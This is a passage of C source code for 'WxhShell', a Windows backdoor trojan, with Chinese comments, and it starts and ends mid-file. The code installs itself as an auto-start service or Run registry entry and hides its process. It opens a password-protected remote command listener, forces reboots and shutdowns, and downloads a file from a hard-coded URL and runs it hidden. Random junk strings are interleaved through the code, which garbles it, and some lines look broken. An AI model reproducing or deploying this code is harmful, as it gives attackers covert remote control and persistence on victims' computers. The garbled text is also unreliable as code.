b db=S*LUbl HANDLE hProcess; 9~$E+m( PROCESS_BASIC_INFORMATION pbi; "LH!Trl@k 6tjV^sjs HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4<vi@,s if(NULL == hInst ) return 0; p] N/]2rR ,`OQAJ)> g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;;m;f^]} g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); v,8Q9<=O NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {-MjsBR _"OE}$C if (!NtQueryInformationProcess) return 0; ]5K(}95&' SjY|aW+wAL hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4.uaWM)2 if(!hProcess) return 0; #0Uz1[ Fa\jVFIQ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; A0RSNAM kwqY~@W CloseHandle(hProcess); Ml;` *; sekei6#fi hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); GKOl{och if(hProcess==NULL) return 0; ms!|a_H7r qJf\,7mi HMODULE hMod; BjsTHS& char procName[255]; ^u#iz unsigned long cbNeeded; ~'0ZW<X. |Ldvfd if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); aG]^8`~>' _%Ua8bR$ CloseHandle(hProcess); 6$f\#TR j_~mP>el) if(strstr(procName,"services")) return 1; // 以服务启动 $+ N~Fa ij~- return 0; // 注册表启动 AL^tUcl } L|:CQ q,%Fvcmx+e // 主模块 hW/Ve'x[ int StartWxhshell(LPSTR lpCmdLine) ?Yf
v^DQ5 { _Y/*e<bU SOCKET wsl; =au!rda BOOL val=TRUE; ~K;hXf int port=0; 2/tx5Nc struct sockaddr_in door; }
XhL`% O^ui+44wp if(wscfg.ws_autoins) Install(); C984Ee 4[JF.O6} port=atoi(lpCmdLine); H?M:<q0|G guGX
G+ if(port<=0) port=wscfg.ws_port; V/#J>-os}W N{&Lo}6F WSADATA data; S:`Gi>D if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #gT"G18/! FE^/us7r if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; :8@eon} setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +kEM%z door.sin_family = AF_INET; +F8K%.Q_ door.sin_addr.s_addr = inet_addr("127.0.0.1"); )"hd" door.sin_port = htons(port);
bKK'U4 W2fcY;HZ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dT% eq7= closesocket(wsl); .-mIU.Nwi return 1; +>;Ux1'@ } Q_!tn* <uJ
{>~ if(listen(wsl,2) == INVALID_SOCKET) { DTM(SN8R+n closesocket(wsl); G3+e5/0 return 1; Scm45"wB+ } ZWGX*F#}P Wxhshell(wsl); &"gX
7cK8 WSACleanup(); *{j;LA.BR# UBM#~~sM return 0; 2RF3pIFrm ]v),[]Xs } yufw}Lo- OPE+:TvW^ // 以NT服务方式启动 eq8faC5 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;-Os~81o? { dmv0hof DWORD status = 0; u9~Ncz DWORD specificError = 0xfffffff; ("j;VqYUL 4q7H serviceStatus.dwServiceType = SERVICE_WIN32; ,Nhv#U<$
serviceStatus.dwCurrentState = SERVICE_START_PENDING; D_$N2>I- serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r(Z?Fs/ serviceStatus.dwWin32ExitCode = 0; 'nh2} serviceStatus.dwServiceSpecificExitCode = 0; 2Q]W serviceStatus.dwCheckPoint = 0; @4Bl&(3S serviceStatus.dwWaitHint = 0; sb3z8:r ar,v/l>d4N hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wme#8/eUk if (hServiceStatusHandle==0) return; T+EwC)Ll /ar0K9`c status = GetLastError(); "M/) LXn:0 if (status!=NO_ERROR) H Q[ { J(!=Dno serviceStatus.dwCurrentState = SERVICE_STOPPED; Sw; kUJ serviceStatus.dwCheckPoint = 0; ^'tT_
gT serviceStatus.dwWaitHint = 0; ?SO!INJ serviceStatus.dwWin32ExitCode = status; zh=0zJ serviceStatus.dwServiceSpecificExitCode = specificError; @6+_0^ SetServiceStatus(hServiceStatusHandle, &serviceStatus); /U!B2%vq_ return; +aM[!pW(e } st)v'ce, X[$|I9 serviceStatus.dwCurrentState = SERVICE_RUNNING; %g5#q64 serviceStatus.dwCheckPoint = 0; J!6w9,T_ serviceStatus.dwWaitHint = 0; >b9J!'G,( if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");
*q,nALs } mS;WNlm\ b&4JHyleF // 处理NT服务事件,比如:启动、停止 X 5}=|%Y VOID WINAPI NTServiceHandler(DWORD fdwControl) uqI'e_&=&5 { jck(cc=R switch(fdwControl) {g`!2" { +]-'{%-zK case SERVICE_CONTROL_STOP: ik)u/r DW serviceStatus.dwWin32ExitCode = 0; [N~-9 serviceStatus.dwCurrentState = SERVICE_STOPPED; YqWNp serviceStatus.dwCheckPoint = 0; !t~tIJ>6 serviceStatus.dwWaitHint = 0; L
aA<` { Hhk`yX c_ SetServiceStatus(hServiceStatusHandle, &serviceStatus); q27q/q8 } `EvO^L return; LD
NdHG6 case SERVICE_CONTROL_PAUSE: fJ
_MuAv serviceStatus.dwCurrentState = SERVICE_PAUSED; R<Mp$K^b break; [4YRyx&:++ case SERVICE_CONTROL_CONTINUE: Ah@e9`_r serviceStatus.dwCurrentState = SERVICE_RUNNING; \h s7>5O^K break; hS &H* case SERVICE_CONTROL_INTERROGATE: K8-1?-W break; ''q;yKpaz }; G,P
k3>I' SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6|n3Q$p } KQ6][2- VyYrL]OrA // 标准应用程序主函数 m8F
\ESL int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) MNTVG&h { LX&O"YY Ez-AQ' // 获取操作系统版本 l :u1P OsIsNt=GetOsVer(); WL'!M&h GetModuleFileName(NULL,ExeFile,MAX_PATH); x5smJ__/ -Q
Mwtr#q} // 从命令行安装 :2NV;7Wke6 if(strpbrk(lpCmdLine,"iI")) Install(); g[@0H= x30|0EHYl[ // 下载执行文件 8dt=@pwx& if(wscfg.ws_downexe) { Gf.xr%mUZr if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Xa;wx3]t WinExec(wscfg.ws_filenam,SW_HIDE); %z[=T@ } vlDA/( & &6Lh>n( if(!OsIsNt) { +"WNG // 如果时win9x,隐藏进程并且设置为注册表启动 TPkP5w HideProc(); UL&>]aQ StartWxhshell(lpCmdLine); xN>\t& c } zT/woiyB` else glM42s if(StartFromService()) %a0q|)Nrj // 以服务方式启动 u|"YS-dH StartServiceCtrlDispatcher(DispatchTable); A>S7Ap4z> else &+oJPpHi\ // 普通方式启动 <j#IR StartWxhshell(lpCmdLine); Oo(xYy nDckT+eJ return 0; SLN OOEN } 9aIv|cS? HJ"sK5Q egfd=z=2un lq`7$7-4 =========================================== SnvT !ca 3w[uc ~f :c )R6=v ?aTC+\= g}9heR r,vSDHb`j " +[S<"}ls7 aGE}
EK } #include <stdio.h> _XrlCLp: d #include <string.h> XJS^{=/ #include <windows.h> Dp} $q`F[ #include <winsock2.h> S4(?=,^- #include <winsvc.h> Xfg?\j/ #include <urlmon.h> E J6|y' <FZ*'F*M #pragma comment (lib, "Ws2_32.lib") '?{L
gj^R #pragma comment (lib, "urlmon.lib") { M[iYFg= q="ymx~ #define MAX_USER 100 // 最大客户端连接数 OH
88d: #define BUF_SOCK 200 // sock buffer %/s+-j@s: #define KEY_BUFF 255 // 输入 buffer qCm%};yt .0X 5Vy #define REBOOT 0 // 重启 XwU1CejP0 #define SHUTDOWN 1 // 关机 4}YHg&@\d% ;1TQr3w #define DEF_PORT 5000 // 监听端口 $"Ci{iE [$\VvRu% #define REG_LEN 16 // 注册表键长度 f=4q]y#& X #define SVC_LEN 80 // NT服务名长度 6"+bCx0: Zjc0R // 从dll定义API 0? KvR``Aj typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); YQO9$g0%
~ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %]F{aR typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /KO2y0` typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?i~mt'O 9Z3Y, `R, // wxhshell配置信息 =}SC .E\ struct WSCFG { "!Hm.^1 int ws_port; // 监听端口 x.(Sv]+[ char ws_passstr[REG_LEN]; // 口令 zj1_#=] int ws_autoins; // 安装标记, 1=yes 0=no pM!cF char ws_regname[REG_LEN]; // 注册表键名 <2I<Z'B,e char ws_svcname[REG_LEN]; // 服务名 g9=O<u# char ws_svcdisp[SVC_LEN]; // 服务显示名 7V~
gqum char ws_svcdesc[SVC_LEN]; // 服务描述信息 #CB`7}jq char ws_passmsg[SVC_LEN]; // 密码输入提示信息 79'N/:. int ws_downexe; // 下载执行标记, 1=yes 0=no 6ZGw 3p) char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^p\n/#B char ws_filenam[SVC_LEN]; // 下载后保存的文件名 eI5W; Q4 {8~xFYc: }; :C#(yp *{e,< DV // default Wxhshell configuration "/\-?YJjw struct WSCFG wscfg={DEF_PORT, \!r,>P "xuhuanlingzhe", o{K#LP 1, iN+&7#x;/ "Wxhshell", DDU)G51>d "Wxhshell", 0"c(n0L "WxhShell Service", ;J?zD9 "Wrsky Windows CmdShell Service", T`Qg+Q$ "Please Input Your Password: ", io4/M<6< 1, Q\Nz^~dQ:Y "http://www.wrsky.com/wxhshell.exe", |%Ssb;M "Wxhshell.exe" }& e#b]&:* }; :x_;- zT _[pa)O` // 消息定义模块 +{{'3=x9 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q-$EBNz char *msg_ws_prompt="\n\r? for help\n\r#>"; FZJ sZeO char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; rp,PhS char *msg_ws_ext="\n\rExit."; DE14dU char *msg_ws_end="\n\rQuit."; X&bnyo P char *msg_ws_boot="\n\rReboot..."; *Zk$P.] char *msg_ws_poff="\n\rShutdown..."; 7 T9 Mo
. char *msg_ws_down="\n\rSave to "; lEiOE] J~1=?</ char *msg_ws_err="\n\rErr!"; ch:0qgJ char *msg_ws_ok="\n\rOK!"; mM;p 7
sJ ZNTOI]P& char ExeFile[MAX_PATH]; Qf(mn8 int nUser = 0; c=\H&x3X HANDLE handles[MAX_USER]; ; Uf]-uS int OsIsNt; #~@Cl9[)D C\C*'l6d SERVICE_STATUS serviceStatus; I'T@}{h SERVICE_STATUS_HANDLE hServiceStatusHandle; :=^_N} D= LLm$y
// 函数声明 IAa}F!6Q1 int Install(void); p7d[)*
L>C int Uninstall(void); ^bDh[O int DownloadFile(char *sURL, SOCKET wsh); >z1q\cz int Boot(int flag); j5qrM_Chg void HideProc(void); VsMTzGr int GetOsVer(void); Ct,|g =( int Wxhshell(SOCKET wsl); SLMnEtyTS void TalkWithClient(void *cs); ()I';o int CmdShell(SOCKET sock); #99fFs`w int StartFromService(void); '-5Q>d~&h int StartWxhshell(LPSTR lpCmdLine); 2YL)"
w R#i{eE*WF VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @u}1 S1 VOID WINAPI NTServiceHandler( DWORD fdwControl ); ('7qJkV Rr/sxR|0_ // 数据结构和表定义 E[N3`" SERVICE_TABLE_ENTRY DispatchTable[] = ct#3*] { DU>#eR0G {wscfg.ws_svcname, NTServiceMain}, (lBwkQNQGd {NULL, NULL} 9EqU
2~ }; U4hFPK< x^ruPiH // 自我安装 =u#xPI0: int Install(void) )FnJLd { r#CQCq char svExeFile[MAX_PATH]; I "<ACM HKEY key; ySk'#\d strcpy(svExeFile,ExeFile); c8cPGm#i gwyHDSo8:a // 如果是win9x系统,修改注册表设为自启动 i`}nv, if(!OsIsNt) { `"* ]C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bdUe,2Yi n RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .+ w#n< RegCloseKey(key); R;68C6 4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w`")^KXi RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @d]a#ypU RegCloseKey(key); KDODUohC return 0; mDT"%I"4j } YAvOV-L } 3+j!{tJ
z2 } JXKqQxZ[X else { G(~
s(r{%I SQ_w~'( // 如果是NT以上系统,安装为系统服务 _RHB ^y;- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); TzJp3 if (schSCManager!=0) 9Rg|o CP_ { W".: 1ov#B SC_HANDLE schService = CreateService cR0OJ'w ( %xq/eC7 schSCManager, O"D0+BK79e wscfg.ws_svcname, ah(lH5r wscfg.ws_svcdisp, l*`2EJ
SERVICE_ALL_ACCESS, t%`GXJb SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]26
Q*.1~ SERVICE_AUTO_START, *}hx9:9\B SERVICE_ERROR_NORMAL, t3dvHU&Z: svExeFile, *C(/2 NULL, .D~ZE94@ NULL, q
(?%$u. NULL, rX-V0 NULL, sSM^net0 NULL VKjDK$ ); {g%F 3- if (schService!=0) d'4^c,d { ac-R q.GQY CloseServiceHandle(schService); 5V|D%t2N CloseServiceHandle(schSCManager); b xU13ESv strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #fy#G}c strcat(svExeFile,wscfg.ws_svcname); v7i5R ! if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zj ?^,\{A RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <K$X>&Ts RegCloseKey(key); -t<8)9q( return 0; Zi0B$3iOb } VeJM=s.y7 } IwE{Zvr CloseServiceHandle(schSCManager); z2Pnni7Ys } L7_qs+ } +, SUJ| 7nzNBtk return 1; `YZK$
-, } y?t2@f]!XK jK[~dY // 自我卸载 \Kx@?, int Uninstall(void) Ly?%RmHK {
KKfC^g HKEY key; )4[Yplo S690Y]:h$v if(!OsIsNt) { xHA6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;W/K7} RegDeleteValue(key,wscfg.ws_regname); (-RZ|VdYg RegCloseKey(key); u x[h\Tp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :V(+]< RegDeleteValue(key,wscfg.ws_regname); 6vx0F?>_ RegCloseKey(key); V/=NIeSE return 0; [<HU~PP } our$Ka31 }
H%!ED1zpA } |C \%H R else { i; 8""A [hLSK-K 9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :YZqrcr} if (schSCManager!=0) yFIB/ln: { 0@FZQ$- SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;*3OkNxa3 if (schService!=0) CXb-{|I}d { W[5a'}OV if(DeleteService(schService)!=0) { tD G[}j CloseServiceHandle(schService); EJd l%j CloseServiceHandle(schSCManager); 7e{w)m:A return 0; &\3k(j } j k%MP6 CloseServiceHandle(schService); 2D5S%27, } [d(@lbV0 CloseServiceHandle(schSCManager); I:6N?lD4}0 } 8Z=d+}Gg< } *rY@(| px@:t} return 1; QAp+LSm } e <Hbm uQ^r1 $# // 从指定url下载文件 -h5yg`+1N\ int DownloadFile(char *sURL, SOCKET wsh) eR'Df"+ { yfBVy8Sm HRESULT hr; )2@_V % char seps[]= "/"; *Q?ZJS~ char *token; >s@*S9cj: char *file; 8PWx>}XPt char myURL[MAX_PATH]; <A"T_Rk char myFILE[MAX_PATH]; %SV5PO@ W`baD!* strcpy(myURL,sURL); ZI'MfkEZ* token=strtok(myURL,seps); k4|9'V&1*6 while(token!=NULL) >900I4]I { K;%P_f/KJP file=token; }GIwYh/ token=strtok(NULL,seps); ^CIO,I } Dg^n`[WO [dG&"%5vD GetCurrentDirectory(MAX_PATH,myFILE); 7
Jxhn! strcat(myFILE, "\\"); 7H$0NMP strcat(myFILE, file); K[tQ>C@s2 send(wsh,myFILE,strlen(myFILE),0); o,| LO$~ send(wsh,"...",3,0); Ls8@@b,t2 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :]EAlaB4Q if(hr==S_OK) 8dg\_H_ return 0; oF1{/ERS else r-M:YB return 1; \Tf$i(0q 9FB[`} } z/IA
@ q^:>sfd // 系统电源模块 )tH.P:
1~, int Boot(int flag) ?LJDBN { YCv)DW; HANDLE hToken; ?C('
z7 TOKEN_PRIVILEGES tkp; 8>T#sO?+ W[pOLc- if(OsIsNt) { -^ )0c OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3NI3b-7 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \!!qzrq tkp.PrivilegeCount = 1; uvNLm]* tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *&WkorByW AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fkLI$Cl if(flag==REBOOT) { &|/@;EA$8 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) OT1 return 0; AYhWeI+ } ]} D^?g^ else { vrRbUwL! if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
HaJs)j return 0; `pMI@"m } r[doN{% } yyp0GV.x else { K|i:tHF]@ if(flag==REBOOT) { C`G+b{o if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [/h3HyZ. return 0; vY 0EffZ } `ChS$p"A else { u|;?FQ$M if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ` ,lm:x+(0 return 0; NCW<~ } 968<yO] } {6*$ yLWK C bWz;$r return 1; UB5CvM28 } NCrNlHIF Cz1Q@<) // win9x进程隐藏模块 %G'{G void HideProc(void) csh@C
ckC8 { lN(|EI OD@k9I[ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); U46qpb7 if ( hKernel != NULL ) 2 m"2>gX { ;mT|0&o># pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [b2KBww\ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .uh>S!X, ] FreeLibrary(hKernel); ]%%I=r } Z\YCjs% ;;4>vF#* return; O/XG}G.x| } gGaA;YW1 8v<802 // 获取操作系统版本 ZVelKI8> int GetOsVer(void) ABx< Ep6 { w3n6md OSVERSIONINFO winfo; $_cO7d winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xK*G'3Ge GetVersionEx(&winfo); J-UqH3({Z, if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Y)O88C return 1; GhJ<L3 else 2_/H, return 0; n 3eLIA{ } /` ;rlH* <)68ol~< // 客户端句柄模块 q`Rc \aWB% int Wxhshell(SOCKET wsl) .](~dVp%~ { +#RgHo?f SOCKET wsh; =(==aP struct sockaddr_in client; nF5\iV DWORD myID; 1
$m[#3 lcX'n8/3 while(nUser<MAX_USER) Qi= pP/Y { |j2$G~B6 int nSize=sizeof(client); 7DZZdH$Fm wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YHp]O+c if(wsh==INVALID_SOCKET) return 1; XLgp.w; ykS-5E` handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .A Dik}o if(handles[nUser]==0) *^3&Y@ closesocket(wsh); JBI> D1`" else ^XgBkC~ nUser++; )MWbZAI } (rieg F WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^KF%Z2:$ @e#{Sm return 0; I&J> } #?h-<KQQ WvoJ^{\4N* // 关闭 socket R:5uZAx void CloseIt(SOCKET wsh) 1F'x$~ZI { 8C=8Wjm closesocket(wsh); gq7l>vT. nUser--; ;u?L>(b ExitThread(0); \S_o{0ZY} } :!QT , 5M&<tj/[a0 // 客户端请求句柄 6no&2a|D void TalkWithClient(void *cs) ~LF/wx> { HkQ rij6 z.T>=C SOCKET wsh=(SOCKET)cs; h( DmSW char pwd[SVC_LEN]; $xqX[ocor char cmd[KEY_BUFF]; sTu]C +A char chr[1]; -NPX;e$< int i,j; ="('
#o {00Qg{;K| while (nUser < MAX_USER) { 8zO;=R A7% X/f?=U if(wscfg.ws_passstr) { 8b:GyC5L if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M nnVk= //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WkMB //ZeroMemory(pwd,KEY_BUFF); P_.zp5> i=0; o_sb+Vn| while(i<SVC_LEN) { >sGiDK @ "rnVPHnQR // 设置超时 W|L#Q/
RX fd_set FdRead; !!<H*9]+W; struct timeval TimeOut; E#~J"9k98 FD_ZERO(&FdRead); Ly-}HW ( FD_SET(wsh,&FdRead); AIG5a$}& TimeOut.tv_sec=8; gX~lYdA TimeOut.tv_usec=0; Q"s]<MtdS int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y#zHw<<E if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u\3=m%1 -`CE; if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {%D4%X< pwd=chr[0]; IP!`;?T= if(chr[0]==0xd || chr[0]==0xa) { Y~B-dx'V pwd=0; d$HPpi1LL break; ATF>"Ux } 7n[0)XR> i++; @Yw>s9X } WCP2x.gb5 fD*jzj7o, // 如果是非法用户,关闭 socket &S=xSs:q. if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >{{0odBF } !8I80:e_~ qm6 X5T send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); KjK-#F,@ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $#-O^0D ODxCD%L while(1) { @5h(bLEP ;TL>{"z`x ZeroMemory(cmd,KEY_BUFF); UmL Boy&* eWr2UXv$ // 自动支持客户端 telnet标准 hO2W!68 j=0; BU O8Z] while(j<KEY_BUFF) { "..I$R if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S|O#KE cmd[j]=chr[0]; ap<r)<u if(chr[0]==0xa || chr[0]==0xd) { D$Ao-6QE
W cmd[j]=0; bR<XQHl break; bAEwjZ } [JEf P/n|. j++; AEd9H
+I } 9z+ZFIf7d :pLaxWus! // 下载文件 EGzlRSgO if(strstr(cmd,"http://")) { fLZ99?J send(wsh,msg_ws_down,strlen(msg_ws_down),0); D%=j@ if(DownloadFile(cmd,wsh)) ;NF:98 send(wsh,msg_ws_err,strlen(msg_ws_err),0); !8|?0>3) else K?Jo"oy7 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `(xzCRX } |#sY(1 else { U^kk0OT^ qG3MyK%O\ switch(cmd[0]) { <l< |